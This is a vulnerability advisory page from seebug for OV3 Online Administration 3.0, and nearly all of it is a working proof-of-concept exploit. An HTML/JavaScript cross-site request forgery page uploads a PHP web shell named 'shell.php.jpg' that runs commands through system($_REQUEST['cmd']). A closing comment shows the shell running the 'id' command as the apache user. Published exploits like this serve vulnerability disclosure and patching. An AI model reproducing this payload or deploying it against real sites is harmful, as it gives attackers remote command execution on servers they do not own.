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OV3 Online Administration 3.0 Authenticated Code Execution

🗓️ 08 Dec 2017 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 41 Views

OV3 Online Administration 3.0 Authenticated Code Execution. Vulnerability in 'image_editor.php

Code

                                                
<html>
  <body>
  <script>history.pushState('', '', '/')</script>
    <script>
      function submitRequest()
      {
        var xhr = new XMLHttpRequest();
        xhr.open("POST", "http:\/\/127.0.0.1\/ov3.php?todo=manager&manager=media&sub=insert&edit_id=0&&from=&sid=c7cd370ec516d273230944a2c6495d38&stamp=1234567890&lang=en", true);
        xhr.setRequestHeader("Content-Type", "multipart\/form-data; boundary=----WebKitFormBoundary5HeURJ9AF8oOlc8q");
        xhr.setRequestHeader("Accept", "text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8");
        xhr.setRequestHeader("Accept-Language", "en-US,en;q=0.8");
        xhr.withCredentials = true;
        var body = "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"save_close\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"window_key\"\r\n" + 
          "\r\n" + 
          "1482761612\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[user]\"\r\n" + 
          "\r\n" + 
          "1483825\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[group]\"\r\n" + 
          "\r\n" + 
          "1095422\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[description]\"\r\n" + 
          "\r\n" + 
          "ZSL\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[alttext]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[subline]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"file_type\"\r\n" + 
          "\r\n" + 
          "upload\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"MAX_FILE_SIZE\"\r\n" + 
          "\r\n" + 
          "122914560\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"userfile\"; filename=\"shell.php.jpg\"\r\n" + 
          "Content-Type: image/webp\r\n" + 
          "\r\n" + 
          "\x3c?php system($_REQUEST[\'cmd\']); ?\x3e\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[author]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[copyright]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_confirm]\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in_12_1\"\r\n" + 
          "\r\n" + 
          "1\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires]\"\r\n" + 
          "\r\n" + 
          "license_expires\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_0]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_1]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_expires_2]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[license_remind]\"\r\n" + 
          "\r\n" + 
          "0\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[scheme_id_selected]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q\r\n" + 
          "Content-Disposition: form-data; name=\"in[scheme_id]\"\r\n" + 
          "\r\n" + 
          "\r\n" + 
          "------WebKitFormBoundary5HeURJ9AF8oOlc8q--\r\n";
        var aBody = new Uint8Array(body.length);
        for (var i = 0; i < aBody.length; i++)
          aBody[i] = body.charCodeAt(i); 
        xhr.send(new Blob([aBody]));
      }
    </script>
    <form action="#">
      <input type="button" value="Write file" onclick="submitRequest();" />
    </form>
  </body>
</html>

<!--

GET http://127.0.0.1/media/customers/5575/shell.php.jpg?cmd=id HTTP/1.1

uid=48(apache) gid=48(apache) groups=48(apache)

-->
                              

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